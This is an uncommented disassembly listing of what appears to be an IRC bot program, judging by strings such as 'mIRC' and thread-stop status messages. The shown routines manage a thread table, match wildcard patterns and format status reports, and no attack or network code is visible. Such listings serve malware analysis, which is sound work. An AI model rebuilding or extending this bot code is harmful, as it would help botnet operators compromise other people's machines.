		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE0A
		push	61h
		pop	ecx


loc_40AE1A:				; CODE XREF: ___:0040AE25j
		cmp	eax, ecx
		jnz	short loc_40AE21
		mov	[ebp-4], edx


loc_40AE21:				; CODE XREF: ___:0040AE1Cj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE1A
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE66


loc_40AE40:				; CODE XREF: ___:0040AE64j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE40


loc_40AE66:				; CODE XREF: ___:0040AE3Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 26907ACh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26D0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43194C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDB


loc_40AEB5:				; CODE XREF: ___:0040AED9j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB5


loc_40AEDB:				; CODE XREF: ___:0040AEB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D808
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26D05B2h
		nop
		call	near ptr 26907ACh
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF65
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF45
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF35
		mov	esi, offset dword_431974


loc_40AF35:				; CODE XREF: ___:0040AF2Ej
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA1
		mov	esi, offset dword_431970
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF45:				; CODE XREF: ___:0040AF25j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF55
		mov	esi, offset dword_43196C
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF55:				; CODE XREF: ___:0040AF4Cj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9C
		mov	esi, offset dword_431968
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF65:				; CODE XREF: ___:0040AF1Cj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7E
		mov	esi, offset dword_431964
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF7E:				; CODE XREF: ___:0040AF75j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8E
		mov	esi, offset dword_431960
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF8E:				; CODE XREF: ___:0040AF85j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43195C
		jz	short loc_40AFA1


loc_40AF9C:				; CODE XREF: ___:0040AF5Cj
					; ___:0040AF6Cj
		mov	esi, offset dword_431958


loc_40AFA1:				; CODE XREF: ___:0040AF3Cj
					; ___:0040AF43j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431950
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE5


loc_40AFBF:				; CODE XREF: ___:0040AFE3j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBF


loc_40AFE5:				; CODE XREF: ___:0040AFBDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEB	proc near		; CODE XREF: sub_40B08E+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 26907ACh
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B03A
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset dword_431980
		jnz	short loc_40B023
		mov	eax, offset dword_43D808


loc_40B023:				; CODE XREF: sub_40AFEB+31j
		push	eax
		push	esi
		push	offset dword_431978
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B05A
; ---------------------------------------------------------------------------


loc_40B03A:				; CODE XREF: sub_40AFEB+22j
		call	dword_4CB660
		test	eax, eax
		mov	eax, offset dword_431980
		jnz	short loc_40B04E
		mov	eax, offset dword_43D808


loc_40B04E:				; CODE XREF: sub_40AFEB+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B05A:				; CODE XREF: sub_40AFEB+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B089
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B089:				; CODE XREF: sub_40AFEB+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08E	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DC84


loc_40B09A:				; CODE XREF: sub_40B08E+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B5
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BF
; ---------------------------------------------------------------------------


loc_40B0B5:				; CODE XREF: sub_40B08E+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BF:				; CODE XREF: sub_40B08E+25j
		test	eax, eax
		jnz	short loc_40B0D1
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42DCFC
		jb	short loc_40B09A
		jmp	short loc_40B0DF
; ---------------------------------------------------------------------------


loc_40B0D1:				; CODE XREF: sub_40B08E+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42DC88[eax*4]
		pop	ecx


loc_40B0DF:				; CODE XREF: sub_40B08E+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F2
		push	[ebp+arg_0]
		call	sub_40AFEB
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F2:				; CODE XREF: sub_40B08E+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F7	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E390


loc_40B0FF:				; CODE XREF: sub_40B0F7+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B113
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB390
		jl	short loc_40B0FF
		jmp	short loc_40B15E
; ---------------------------------------------------------------------------


loc_40B113:				; CODE XREF: sub_40B0F7+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E390[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E590[esi], eax
		and	dword_43E594[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E598[esi], 0
		mov	dword_43E59C[esi], eax
		and	byte_43E5A8[esi], 0
		pop	esi


loc_40B15E:				; CODE XREF: sub_40B0F7+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F7	endp

; ---------------------------------------------------------------------------
word_40B162	dw 8B55h		; DATA XREF: sub_401ACD+298Ao
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 4E4EE890h, 5E5F022Dh
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 431A8068h
		dd 0C75FF00h, 0E80875FFh, 0FFFFE89Fh, 3314C483h, 0E390BEFFh
		dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 8868FFFFh, 500042C8h, 10681E8h, 8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE857h
		dd 8124C483h, 234C6h, 0FE814700h, 4CB390h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B232	proc near		; CODE XREF: sub_401ACD+7BA5p
					; sub_40B2C0+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2BA
		cmp	esi, 400h
		jge	short loc_40B2BA
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E5A4[esi]
		lea	edi, dword_43E5A4[esi]
		nop
		call	near ptr 269082Bh
		cmp	[edi], ebx
		jz	short loc_40B26A
		push	1
		pop	ebp


loc_40B26A:				; CODE XREF: sub_40B232+33j
		mov	[edi], ebx
		lea	edi, dword_43E598[esi]
		mov	dword_43E590[esi], ebx
		mov	dword_43E594[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28B
		push	eax
		call	sub_4199CA
		pop	ecx


loc_40B28B:				; CODE XREF: sub_40B232+50j
		mov	[edi], ebx
		lea	edi, dword_43E59C[esi]
		mov	byte ptr dword_43E390[esi], bl
		mov	byte_43E5A8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB6EC
		lea	esi, dword_43E5A0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB6EC
		mov	[esi], ebx
		pop	edi


loc_40B2BA:				; CODE XREF: sub_40B232+Dj
					; sub_40B232+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B232	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2C0	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E390


loc_40B2CC:				; CODE XREF: sub_40B2C0+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DD
		push	edi
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DD
		inc	ebx


loc_40B2DD:				; CODE XREF: sub_40B2C0+Fj
					; sub_40B2C0+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB390
		jl	short loc_40B2CC
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F2	proc near		; CODE XREF: sub_401ACD+418Fp
					; sub_401ACD+42E1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E594


loc_40B306:				; CODE XREF: sub_40B2F2+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B328
		test	edi, edi
		jle	short loc_40B31A
		cmp	[esi], edi
		jz	short loc_40B31A
		cmp	ebx, edi
		jnz	short loc_40B328


loc_40B31A:				; CODE XREF: sub_40B2F2+1Ej
					; sub_40B2F2+22j
		push	ebx
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B328
		inc	[ebp+var_4]


loc_40B328:				; CODE XREF: sub_40B2F2+1Aj
					; sub_40B2F2+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB594
		jl	short loc_40B306
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33F	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E590


loc_40B346:				; CODE XREF: sub_40B33F+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34F
		inc	eax


loc_40B34F:				; CODE XREF: sub_40B33F+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B346
		retn
sub_40B33F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35E	proc near		; CODE XREF: sub_401ACD+2434p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E590


loc_40B368:				; CODE XREF: sub_40B35E+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B381
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB590
		jl	short loc_40B368
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B381:				; CODE XREF: sub_40B35E+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B385	proc near		; CODE XREF: sub_401ACD+1067p
					; sub_401ACD+126Dp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39E
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39E:				; CODE XREF: sub_40B385+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F2
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3CA
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E4
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: sub_40B385+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E4:				; CODE XREF: sub_40B385+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B404
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40B404:				; CODE XREF: sub_40B385+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		leave
		retn
sub_40B385	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B413	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA48p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E5A4[eax], ecx
		mov	dword_43E590[eax], ecx
		mov	dword_43E594[eax], ecx
		mov	dword_43E598[eax], ecx
		mov	dword_43E59C[eax], ecx
		mov	dword_43E5A0[eax], ecx
		mov	byte ptr dword_43E390[eax], cl
		mov	byte_43E5A8[eax], cl
		retn
sub_40B413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B450	proc near		; CODE XREF: sub_401ACD+7E3Cp
					; sub_40B57E+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B45A:				; CODE XREF: sub_40B450+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4BA
		cmp	eax, 1
		jnz	short loc_40B4BA
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4BA
		cmp	cl, 2Ah
		jz	short loc_40B4A1
		cmp	cl, 3Fh
		jz	short loc_40B484
		cmp	cl, 5Bh
		jz	short loc_40B489
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B484:				; CODE XREF: sub_40B450+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B489:				; CODE XREF: sub_40B450+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E6
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B4A1:				; CODE XREF: sub_40B450+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57E
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B4:				; CODE XREF: sub_40B450+37j
					; sub_40B450+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B45A
; ---------------------------------------------------------------------------


loc_40B4BA:				; CODE XREF: sub_40B450+Ej
					; sub_40B450+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4CA
		cmp	eax, 1
		jnz	short loc_40B4E1
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4BA
; ---------------------------------------------------------------------------


loc_40B4CA:				; CODE XREF: sub_40B450+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E1
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E1
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E1
		push	1
		pop	eax
		jmp	short loc_40B4E3
; ---------------------------------------------------------------------------


loc_40B4E1:				; CODE XREF: sub_40B450+72j
					; sub_40B450+7Dj ...
		xor	eax, eax


loc_40B4E3:				; CODE XREF: sub_40B450+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E6	proc near		; CODE XREF: sub_40B450+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B507
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B507:				; CODE XREF: sub_40B4E6+19j
		push	ebx
		push	esi


loc_40B509:				; CODE XREF: sub_40B4E6+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B517
		cmp	[ebp+var_4], eax
		jnz	short loc_40B563


loc_40B517:				; CODE XREF: sub_40B4E6+2Aj
		test	edi, edi
		jnz	short loc_40B558
		cmp	bl, 2Dh
		jnz	short loc_40B54C
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54C
		cmp	al, 5Dh
		jz	short loc_40B54C
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54C
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B558
		cmp	bl, al
		jg	short loc_40B558
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B558
; ---------------------------------------------------------------------------


loc_40B54C:				; CODE XREF: sub_40B4E6+38j
					; sub_40B4E6+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B558
		push	1
		pop	edi


loc_40B558:				; CODE XREF: sub_40B4E6+33j
					; sub_40B4E6+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B509
; ---------------------------------------------------------------------------


loc_40B563:				; CODE XREF: sub_40B4E6+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B570
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B570:				; CODE XREF: sub_40B4E6+82j
		cmp	edi, eax
		jnz	short loc_40B579
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B579:				; CODE XREF: sub_40B4E6+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57E	proc near		; CODE XREF: sub_40B450+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B59A:				; CODE XREF: sub_40B57E+3Aj
		cmp	[eax], bl
		jz	short loc_40B5BA
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AF
		cmp	cl, 2Ah
		jnz	short loc_40B5BA
		cmp	cl, 3Fh
		jnz	short loc_40B5B2


loc_40B5AF:				; CODE XREF: sub_40B57E+25j
		inc	eax
		mov	[edi], eax


loc_40B5B2:				; CODE XREF: sub_40B57E+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B59A
; ---------------------------------------------------------------------------


loc_40B5BA:				; CODE XREF: sub_40B57E+1Ej
					; sub_40B57E+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C5
		inc	dword ptr [esi]
		jmp	short loc_40B5BA
; ---------------------------------------------------------------------------


loc_40B5C5:				; CODE XREF: sub_40B57E+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D7
		xor	eax, eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5D7:				; CODE XREF: sub_40B57E+53j
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E6
		push	1
		pop	eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5E6:				; CODE XREF: sub_40B57E+4Dj
					; sub_40B57E+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B630


loc_40B5F4:				; CODE XREF: sub_40B57E+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F8:				; CODE XREF: sub_40B57E+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B610
		cmp	cl, 5Bh
		jz	short loc_40B610
		cmp	dl, bl
		jz	short loc_40B610
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F8
; ---------------------------------------------------------------------------


loc_40B610:				; CODE XREF: sub_40B57E+82j
					; sub_40B57E+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B627
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B627:				; CODE XREF: sub_40B57E+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62C:				; CODE XREF: sub_40B57E+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F4


loc_40B630:				; CODE XREF: sub_40B57E+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	[ebp+var_4], 1


loc_40B643:				; CODE XREF: sub_40B57E+B6j
					; sub_40B57E+BCj
		mov	eax, [ebp+var_4]


loc_40B646:				; CODE XREF: sub_40B57E+57j
					; sub_40B57E+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64B	proc near		; CODE XREF: sub_401ACD+2AF6p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431E9C
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431B00, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BD
		push	esi
		mov	esi, offset dword_431B08


loc_40B67E:				; CODE XREF: sub_40B64B+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B3
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431E90
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B3:				; CODE XREF: sub_40B64B+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67E
		pop	esi


loc_40B6BD:				; CODE XREF: sub_40B64B+2Bj
		push	dword_4CB394
		call	sub_41A88C
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B71A	proc near		; CODE XREF: sub_401ACD+2AE0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE160
		mov	ecx, dword_4CE15C
		push	esi
		push	dword_4CB394
		lea	esi, [ecx+eax]
		call	sub_41A88C
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE160
		lea	eax, [ebp+var_200]
		push	dword_4CE15C
		push	offset unk_431EBC
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	esi
		leave
		retn
